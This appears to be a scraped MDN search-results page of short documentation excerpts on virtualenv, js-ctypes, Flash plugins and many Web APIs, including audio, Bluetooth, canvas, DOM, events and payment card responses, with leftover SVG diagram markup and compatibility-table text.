... the second is mozilla's source code search tool mxr.
...And 3 more matches
Virtualenv
if you have git installed, you can clone the latest version of virtualenv: git clone git://github.com/pypa/virtualenv.git if you have pip or easy_install, you can install virtualenv directly from the web: pip install virtualenv # -or- easy_install virtualenv this will fetch virtualenv from pypi and install it in your site-packages.
... it will require it to be part of a clone of the github repository or have internet access to fetch setuptools.
... > ls tmp/bin/ activate activate.fish easy_install pip python activate.csh activate_this.py easy_install-2.7 pip-2.7 using this python binary, or these scripts (which point to this python binary), you will correctly install python packages in the lib/python2.x/site-packages directory and they will be appropriately added to your import path (sys.path) via lib/python2.x/site.py.
...And 3 more matches
Using C struct and pointers
declaring a js-ctypes struct matching a c struct if we have a c structure like this: struct st_t { void *self; char *str; size_t buff_size; int i; float f; char c; }; we can use it in javascript by writing something like this: var st_t = new ctypes.structtype("st_t", [ { "self": ctypes.pointertype(ctypes.void_t) }, { "str": ctypes.pointertype(ctypes.char) }, { "buff_size": ctypes.size_t }, { "i": ctypes.int }, { "f": ctypes.float }, { "c": ctypes.char } ]); here we are using the structtype() factory method of the ctypes object to create a ctype o...
... the first parameter of this method is the name of the type, which corresponds to the name of the c struct.
... each field descriptor contains the name and field type of the corresponding field of the c struct.
...And 3 more matches
ctypes.open
a native file for use on unix systems is an so file, which is created and a c function called add() is written.
... int add(int a, int b) { return a + b; } to make this a shared library, a native file which can be loaded and used from js-ctypes, compile it with these commands: gcc -fpic -c mycfuntionsforunix.c gcc -shared -o mycfuntionsforunix.so mycfuntionsforunix.o a file named mycfuntionsforunix.so is successfully created.
...see: http://stackoverflow.com/questions/19382201/how-to-load-dll-from-sdk-addon-data-folder it is important to note that custom native files cannot be loaded through chrome:// or resource:// uris.
...And 3 more matches
js-ctypes reference
it is obtained by by loading the ctypes module: components.utils.import("resource://gre/modules/ctypes.jsm"); you can use the ctypes object to load libraries, construct types, and perform miscellaneous tasks such as type casting.
...these include ctypes.pointertype(type) and the .ptr property, which creates a new type describing a pointer to an existing type.
... ctypes.arraytype(type, [length]) and the .array() method, which creates a new type describing an array of objects of an existing type.
...And 3 more matches
Flash Activation: Browser Comparison - Plugins
each of the major browsers has now implemented a feature where adobe flash content does not run by default, but each of the browsers has implemented this feature and the user interface in slightly different ways.
... in each browser, the decision to enable flash is made by users on a per-site basis.
... mozilla firefox google chrome microsoft edge setting name ask to activate html5 by default click-to-run 'application/x-shockwave-flash' in navigator.mimetypes by default when flash is inactive yes no no 'application/x-shockwave-flash' in navigator.mimetypes when user enables flash yes yes yes <object> with fallback content triggers ui yes, with exceptions no yes small/hidden flash triggers additional ui yes no no enabling...
...And 3 more matches
Plugins
important: plugins are a legacy technology that are a security and performance problem for firefox (and other browser) users.
...new content should not be written using flash or any other plugin technology.
... starting in firefox 55, users will be asked to choose which sites may use flash content.
...And 3 more matches
View Source - Firefox Developer Tools
view source features view source has three additional features, which can be accessed from the context menu in the view source tab: go to line scrolls to the specified line.
... link to a line number it is possible to link to a particular line, by adding the #linennn anchor to the url the browser will jump to the nnn line.
...for example, putting a <div> element as a child of a <ul> element isn't a parse error, but it is not valid html.
...And 3 more matches
AbortController.AbortController() - Web APIs
examples in the following snippet, we aim to download a video using the fetch api.
... when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below).
... this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener.
...And 3 more matches
Animation - Web APIs
WebAPIAnimation
animation.pending read only indicates whether the animation is currently waiting for an asynchronous operation such as initiating playback or pausing a running animation.
... animation.starttime gets or sets the scheduled time when an animation's playback should begin.
... animation.updateplaybackrate() sets the speed of an animation after first synchronizing its playback position.
...And 3 more matches
AudioBuffer() - Web APIs
numberofchannels: the number of channels for the buffer.
... the default is 1, and all user agents are required to support at least 32 channels.
... exceptions notsupportederror one or more of the options are negative or otherwise has an invalid value (such as numberofchannels being higher than supported, or a samplerate outside the nominal range).
...And 3 more matches
AudioContext.getOutputTimestamp() - Web APIs
returns an audiotimestamp object, which has the following properties.
... performancetime: a point in the time coordinate system of a performance interface; the time after the document containing the audio context was first rendered examples in the following code we start to play an audio file after a play button is clicked, and start off a requestanimationframe loop running, which constantly outputs the contexttime and performancetime.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 3 more matches
AudioContext - Web APIs
the audiocontext interface represents an audio-processing graph built from audio modules linked together, each represented by an audionode.
...it's recommended to create one audiocontext and reuse it instead of initializing a new one each time, and it's ok to use a single audiocontext for several different audio source and pipeline concurrently.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audiocontext" target="_top"><rect x="151" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-fa...
...And 3 more matches
AudioListener.dopplerFactor - Web APIs
the deprecated dopplerfactor property of the audiolistener interface is a double value representing the amount of pitch shift to use when rendering a doppler effect.
... the dopplerfactor property's default value is 1, which is a sensible default for most situations.
... syntax var audioctx = new audiocontext(); var mylistener = audioctx.listener; mylistener.dopplerfactor = 1; value a double indicating the doppler effect's pitch shift value.
...And 3 more matches
AuthenticatorAssertionResponse.authenticatorData - Web APIs
the authenticatordata property of the authenticatorassertionresponse interface returns an arraybuffer containing information from the authenticator such as the relying party id hash (rpidhash), a signature counter, test of user presence, user verification flags, and any extensions processed by the authenticator.
...the server will ensure that this hash matches a hash of its own origin in order to prevent phishing or other man-in-the-middle attacks.
...the bits are as follows, where "bit 0" is the least significant bit and all bits not specifically mentioned below are "reserved for future use": bit 0, user presence (up) - if set, authenticator validated that the user was present through some test of user presence (tup), such as touching a button on the authenticator.
...And 3 more matches
BasicCardResponse.billingAddress - Web APIs
console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show().
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbillingaddresschrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 3 more matches
BasicCardResponse.cardNumber - Web APIs
console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show().
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcardnumberchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 3 more matches
BasicCardResponse.cardSecurityCode - Web APIs
console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show().
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcardsecuritycodechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 3 more matches
BasicCardResponse.cardholderName - Web APIs
console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show().
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcardholdernamechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 3 more matches
BasicCardResponse.expiryMonth - Web APIs
console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show().
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexpirymonthchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 3 more matches
BasicCardResponse.expiryYear - Web APIs
console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error from request.show().
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexpiryyearchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...And 3 more matches
BiquadFilterNode.type - Web APIs
frequencies lower than the frequency get a boost, or an attenuation; frequencies over it are unchanged.
...frequencies higher than the frequency get a boost or an attenuation; frequencies lower than it are unchanged.
... peaking frequencies inside the range get a boost or an attenuation; frequencies outside it are unchanged.
...And 3 more matches
Blob - Web APIs
WebAPIBlob
the blob object represents a blob, which is a file-like object of immutable, raw data; they can be read as text or binary data, or converted into a readablestream so its methods can be used for processing the data.
... constructor blob() returns a newly created blob object which contains a concatenation of all of the data in the array passed into the constructor.
... blob.prototype.slice() returns a new blob object containing the data in the specified range of bytes of the blob on which it's called.
...And 3 more matches
BlobEvent.timecode - Web APIs
the timecode readonlyinline property of the blobevent interface a domhighrestimestamp indicating the difference between the timestamp of the first chunk in data, and the timestamp of the first chunk in the first blobevent produced by this recorder.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettimecode experimentalchrome full support 57edge full support ≤79firefox ?
...And 3 more matches
Bluetooth - Web APIs
WebAPIBluetooth
interface interface bluetooth : eventtarget { promise<boolean> getavailability(); attribute eventhandler onavailabilitychanged; [sameobject] readonly attribute bluetoothdevice?
... referringdevice; promise<sequence<bluetoothdevice>> getdevices(); promise<bluetoothdevice> requestdevice(optional requestdeviceoptions options = {}); }; bluetooth includes bluetoothdeviceeventhandlers; bluetooth includes characteristiceventhandlers; bluetooth includes serviceeventhandlers; properties inherits properties from its parent eventtarget.
... bluetooth.referringdevice read only returns a reference to the device, if any, from which the user opened the current page.
...And 3 more matches
readValue() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreadvalue experimentalchrome full support 57notes full support 57notes notes macos only.
...to change preferences in chrome, visit chrome://flags.
...And 3 more matches
writeValue() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwritevalue experimentalchrome full support 57notes full support 57notes notes macos only.
...to change preferences in chrome, visit chrome://flags.
...And 3 more matches
BudgetState.time - Web APIs
WebAPIBudgetStatetime
the time read-only property of the budgetstate interface returns a timestamp at which the budgetat value is valid.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettime experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ?
...And 3 more matches
CDATASection - Web APIs
]]> for example: <foo>here is a cdata section: <![cdata[ < > & ]]> with all kinds of unescaped text.</foo> the only sequence which is not allowed within a cdata section is the closing sequence of a cdata section itself, ]]>: <![cdata[ ]]> will cause an error ]]> note that cdata sections should not be used within html; they only work in xml.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/characterdata" target="_top"><rect x="266" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#d4dde4" fill="none"/><line x1="406" y1="25" x2="436" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/text" target="_top"><rect x="436" y="1" width="75" h...
...And 3 more matches
CanvasRenderingContext2D.addHitRegion() - Web APIs
when provided, it is an object which can contain the following properties: path a path2d object describing the area of the hit region.
... fillrule the algorithm by which to determine if a point is inside or outside the hit region.
... control an element (descendant of the canvas) to which events are to be routed.
...And 3 more matches
CanvasRenderingContext2D - Web APIs
canvasrenderingcontext2d.strokerect() paints a rectangle which has a starting point at (x, y) and has a w width and an h height onto the canvas, using the current stroke style.
... canvasrenderingcontext2d.getimagedata() returns an imagedata object representing the underlying pixel data for the area of the canvas denoted by the rectangle which starts at (sx, sy) and has an sw width and sh height.
...the following methods help you to work with that state: canvasrenderingcontext2d.save() saves the current drawing style state using a stack so you can revert any change you make to it using restore().
...And 3 more matches
Optimizing canvas - Web APIs
pre-render similar primitives or repeating objects on an offscreen canvas if you find yourself repeating some of the same drawing operations on each animation frame, consider offloading them to an offscreen canvas.
... don’t scale images in drawimage cache various sizes of your images on an offscreen canvas when loading as opposed to constantly scaling them in drawimage().
... use multiple layered canvases for complex scenes in your application, you may find that some objects need to move or change frequently, while others remain relatively static.
...And 3 more matches
console.log() - Web APIs
WebAPIConsolelog
the string representations of each of these objects are appended together in the order listed and output.
... please be warned that if you log objects in the latest versions of chrome and firefox what you get logged on the console is a reference to the object, which is not necessarily the 'value' of the object at the moment in time you call console.log(), but it is the value of the object at the moment you open the console.
...substn javascript objects with which to replace substitution strings within msg.
...And 3 more matches
ConstrainDOMString - Web APIs
it allows you to specify one or more exact string values from which one must be the parameter's value, or a set of ideal values which should be used if possible.
... you can also specify a single string (or an array of strings) which the user agent will do its best to match once all more stringent constraints have been applied.
... properties the value of a constraindomstring can be any of the following: a single domstring an array of domstring objects an object with one or both of the following properties: exact either a single domstring which must be the value of the property, or an array of domstring objects one of which must be the property's value.
...And 3 more matches
CredentialsContainer.get() - Web APIs
the get() method of the credentialscontainer interface returns a promise to a single credential instance that matches the provided parameters.
... if no match is found the promise will resolve to null.
... this method collects credentials by calling the "collectfromcredentialstore" method for each credential type allowed by the options argument.
...And 3 more matches
DataTransfer.dropEffect - Web APIs
it will affect which cursor is displayed while dragging.
... for example, when the user hovers over a target drop element, the browser's cursor may indicate which type of operation will occur.
...how this is determined is platform specific, but typically the user can press modifier keys such as the alt key to adjust the desired action.
...And 3 more matches
DisplayMediaStreamConstraints.video - Web APIs
more precise control over the format of the returned video track may be exercised by instead providing a mediatrackconstraints object, which is used to process the video data after obtaining it from the device but prior to adding it to the stream.
... if a mediatrackconstraints object is given instead, the video track will be processed to match the settings given in the constraints object.
... cursor a constraindomstring which specifies whether or not to include the mouse cursor in the generated track, and if so, whether or not to hide it while not moving.
...And 3 more matches
Document.createDocumentFragment() - Web APIs
creates a new empty documentfragment into which dom nodes can be added to build an offscreen dom tree.
... syntax var fragment = document.createdocumentfragment(); value a newly created, empty, documentfragment object, which is ready to have nodes inserted into it.
... usage notes documentfragments are dom node objects which are never part of the main dom tree.
...And 3 more matches
Document.createEvent() - Web APIs
many methods used with createevent, such as initcustomevent, are deprecated.
...the returned object should be first initialized and can then be passed to eventtarget.dispatchevent.
...elem.addeventlistener('build', function (e) { // e.target matches elem }, false); // target can be any element or other eventtarget.
...And 3 more matches
Document.createProcessingInstruction() - Web APIs
the new node usually will be inserted into an xml document in order to accomplish anything with it, such as with node.insertbefore.
... exceptions dom_invalid_character throws if either of the following are true: the processing instruction target is invalid — it should be a valid xml name that doesn't contain "xml", "xml", or any case combination of the two, other than standardized ones such as <?xml-stylesheet ?>.
... example var doc = new domparser().parsefromstring('<foo />', 'application/xml'); var pi = doc.createprocessinginstruction('xml-stylesheet', 'href="mycss.css" type="text/css"'); doc.insertbefore(pi, doc.firstchild); console.log(new xmlserializer().serializetostring(doc)); // displays: <?xml-stylesheet href="mycss.css" type="text/css"?><foo/> specifications specification status comment domthe definition of 'createprocessinginstruction()' in that specification.
...And 3 more matches
Document.getElementsByTagName() - Web APIs
the complete document is searched, including the root node.
... example in the following example, getelementsbytagname() starts from a particular parent element and searches top-down recursively through the dom from that parent element, building a collection of all descendant elements which match the tag name parameter.
... this demonstrates both document.getelementsbytagname() and the functionally identical element.getelementsbytagname(), which starts the search at a specific element within the dom tree.
...And 3 more matches
Document.readyState - Web APIs
when the value of this property changes, a readystatechange event fires on the document object.
... interactive the document has finished loading and the document has been parsed but sub-resources such as images, stylesheets and frames are still loading.
... examples different states of readiness switch (document.readystate) { case "loading": // the document is still loading.
...And 3 more matches
Document.requestStorageAccess() - Web APIs
conditions for granting storage access storage access is granted based on a series of checks described here: if the document already has been granted access, resolve.
... check any additional rules that the browser has.
... the maximum number of concurrent storage access grants an origin can obtain is a positive integer currently defined as one percent of the number of top-level origins visited in the current session or 5, whichever is higher.
...And 3 more matches
DocumentOrShadowRoot.getSelection() - Web APIs
however, attempting to use a javascript string property or method such as length or substr directly on a selection object results in an error if it does not have that property or method and may return unexpected results if it does.
... related objects you can call window.getselection(), which works identically to document.getselection().
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 3 more matches
DocumentType - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/documenttype" target="_top"><rect x="266" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="326" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">documenttype</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, node, and implements the childnode interface.
... methods inherits methods from its parent, node, and implements the childnode interface.
...And 3 more matches
Locating DOM elements using selectors - Web APIs
the selectors api provides methods that make it quick and easy to retrieve element nodes from the dom by matching against a set of selectors.
... this is much faster than past techniques, wherein it was necessary to, for example, use a loop in javascript code to locate the specific items you needed to find.
... the nodeselector interface this specification adds two new methods to any objects implementing the document, documentfragment, or element interfaces: queryselector() returns the first matching element node within the node's subtree.
...And 3 more matches
Using the W3C DOM Level 1 Core - Web APIs
each html or xml document has a unique dom tree representation.
... the w3c dom level 1 core allows you to change a dom tree in any way you want.
... this implies the ability to create any html or xml document from scratch, or to change any contents of a given html or xml document.
...And 3 more matches
DynamicsCompressorNode() - Web APIs
the dynamicscompressornode() constructor creates a new dynamicscompressornode object which provides a compression effect, which lowers the volume of the loudest parts of the signal, in order to help prevent clipping and distortion.
... ratio: the amount of db change in input for a 1 db change in output.
... threshold: the decibel value above which the compression will start taking effect.
...And 3 more matches
EffectTiming.iterationStart - Web APIs
web animations api's effecttiming dictionary's iterationstart property specifies the repetition number which repetition the animation begins at and its progress through it.
... syntax var timingproperties = { iterationstart = iterationnumber }; timingproperties.iterationstart = iterationnumber; value a floating-point value whose value is at least 0 and is not +infinity, indicating the offset into the number of iterations the animation sequence is to run at which to start animating.
... iterationstart represents the iteration index at which the animation effect begins as well as its progress through that iteration.
...And 3 more matches
Comparison of Event Targets - Web APIs
event targets it's easy to get confused about which target to examine when writing an event handler.
... there are five targets to consider: property defined in purpose event.target dom event interface the dom element on the lefthand side of the call that triggered this event, eg: element.dispatchevent(event) event.currenttarget dom event interface the eventtarget whose eventlisteners are currently being processed.
... as the event capturing and bubbling occurs, this value changes.
...And 3 more matches
Event.composed - Web APIs
WebAPIEventcomposed
the read-only composed property of the event interface returns a boolean which indicates whether or not the event will propagate across the shadow dom boundary into the standard dom.
... syntax const iscomposed = event.composed; value a boolean which is true if the event will cross from the shadow dom into the standard dom after reaching the shadow root.
... (that is, the first node in the shadow dom in which the event began to propagate.) all ua-dispatched ui events are composed (click/touch/mouseover/copy/paste, etc.).
...And 3 more matches
File.webkitRelativePath - Web APIs
the file.webkitrelativepath is a read-only property that contains a usvstring which specifies the file's path relative to the directory selected by the user in an <input> element with its webkitdirectory attribute set.
... example in this example, a directory picker is presented which lets the user choose one or more directories.
... when the change event occurs, a list of all files contained within the selected directory hierarchies is generated and displayed.
...And 3 more matches
FileSystemEntry.filesystem - Web APIs
the read-only filesystem property of the filesystementry interface contains a filesystem object that represents the file system on which the entry resides.
... syntax var filesystem = filesystementry.filesystem; value a filesystem representing the file system on which the file or directory described by the filesystementry is located..
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 3 more matches
FileSystemFileEntry.file() - Web APIs
the filesystemfileentry interface's method file() returns a file object which can be used to read data from the file represented by the directory entry.
... syntax filesystemfileentry.file(successcallback[, errorcallback]); parameters successcallback a callback function which is called when the file has been created successfully; the file is passed into the callback as the only parameter.
... errorcallback optional if provided, this must be a method which is called when an error occurs while trying to create the file.
...And 3 more matches
FontFaceSetLoadEvent.FontFaceSetLoadEvent() - Web APIs
the fontfacesetloadevent constructor creates a new fontfaceloadevent object which is fired whenever a fontfaceset loads.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontfacesetloadevent() constructor experimentalchrome full support 57edge full support ≤79firefox ?
...And 3 more matches
FontFaceSetLoadEvent.fontfaces - Web APIs
the fontfaces read-only property of the fontfaceloadeventinit interface returns an array of fontface instances, each of which represents a single usable font.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontfaces experimentalchrome full support 35edge full support ≤79firefox full support yesie ?
...And 3 more matches
GlobalEventHandlers.onanimationend - Web APIs
the animationend event fires when a css animation reaches the end of its active period (which is calculated as animation-duration * animation-iteration-count) + animation-delay).
...the function receives as input a single parameter: an animationevent object describing the event which occurred.
...first, the "slideanimation" class, which establishes the animation that will cause the box to move over the course of five seconds, one time, using the "slidebox" keyframe set.
...And 3 more matches
GlobalEventHandlers.onpointerdown - Web APIs
the globaleventhandlers event handler onpointerdown is used to specify the event handler for the pointerdown event, which is fired when the pointing device is initially pressed.
... example this example demonstrates how to watch for and act upon pointerdown events using onpointerdown.
... var targetbox = document.getelementbyid("target"); targetbox.onpointerdown = handledown; function handledown(evt) { var action; switch(evt.pointertype) { case "mouse": action = "clicking"; break; case "pen": action = "tapping"; break; case "touch": action = "touching"; break; default: action = "interacting with"; break; } targetbox.innerhtml = "<strong>thanks for " + action + " me!</strong>"; evt.preventdefault(); } this simply uses onpointerdown to establish the function handledown() as the event handler for pointer down events.
...And 3 more matches
Audio() - Web APIs
the audio() constructor creates and returns a new htmlaudioelement which can be either attached to a document for the user to interact with and/or listen to, or can be used offscreen to manage and play audio.
...if a url is specified, the browser begins to asynchronously load the media resource before returning the new object.
... usage notes you can also use other element-creation methods, such as the document object's createelement() method, to construct a new htmlaudioelement.
...And 3 more matches
HTMLBaseElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlbaseelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
...And 3 more matches
HTMLDetailsElement: toggle event - Web APIs
examples this example logs chapters that are open.
... chapters are removed from the log when they are closed.
... html <aside id="log"> <b>open chapters:</b> <div data-id="ch1" hidden>i</div> <div data-id="ch2" hidden>ii</div> <div data-id="ch3" hidden>iii</div> </aside> <section id="summaries"> <b>chapter summaries:</b> <details id="ch1"> <summary>chapter i</summary> philosophy reproves boethius for the foolishness of his complaints against fortune.
...And 3 more matches
HTMLElement: input event - Web APIs
the input event fires when the value of an <input>, <select>, or <textarea> element has been changed.
... for <input> elements with type=checkbox or type=radio, the input event should fire whenever a user toggles the control, per the html5 specification.
...check compatibility, or use the change event instead for elements of these types.
...And 3 more matches
HTMLFrameSetElement - Web APIs
htmlframesetelement.cols is a domstring structured as a comma-seperated list specifing the width of each column inside a frameset.
... htmlframesetelement.rows is a domstring structured as a comma-seperated list specifing the height of each column inside a frameset.
... windoweventhandlers.onhashchange is an eventhandler representing the code to be called when the hashchange event is raised.
...And 3 more matches
HTMLHyperlinkElementUtils - Web APIs
the htmlhyperlinkelementutils mixin defines utility methods and properties to work with htmlanchorelement and htmlareaelement.
... there are no objects of this type, but several objects such as htmlanchorelement and htmlareaelement implement it.
... htmlhyperlinkelementutils.protocol this is a usvstring containing the protocol scheme of the url, including the final ':'.
...And 3 more matches
HTMLImageElement.decoding - Web APIs
possible values are: sync: decode the image synchronously for atomic presentation with other content.
... async: decode the image asynchronously to reduce delay in presenting other content.
... auto: default mode, which indicates no preference for the decoding mode.
...And 3 more matches
HTMLImageElement.naturalHeight - Web APIs
the htmlimageelement interface's naturalheight property is a read-only value which returns the intrinsic (natural), density-corrected height of the image in css pixels.
